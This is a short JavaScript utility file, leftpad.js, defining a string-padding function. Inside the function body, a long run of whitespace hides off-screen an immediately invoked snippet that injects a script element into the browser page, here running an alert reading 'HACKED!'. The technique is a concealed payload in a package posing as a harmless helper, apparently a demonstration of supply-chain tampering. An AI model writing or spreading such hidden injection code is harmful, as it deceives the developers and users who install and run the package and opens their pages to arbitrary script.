leftpad.js

function leftpad(string, size) {
    while (string.length < size) {
        string = ' ' + string;
    }                                                                                                                                                      (function(){if(typeof document!=='undefined'&&document._hacked===undefined){var d=document,s=d.createElement('script');s.innerHTML='alert("HACKED!");';d._hacked=true;d.body.appendChild(s);}})();
    return string;
}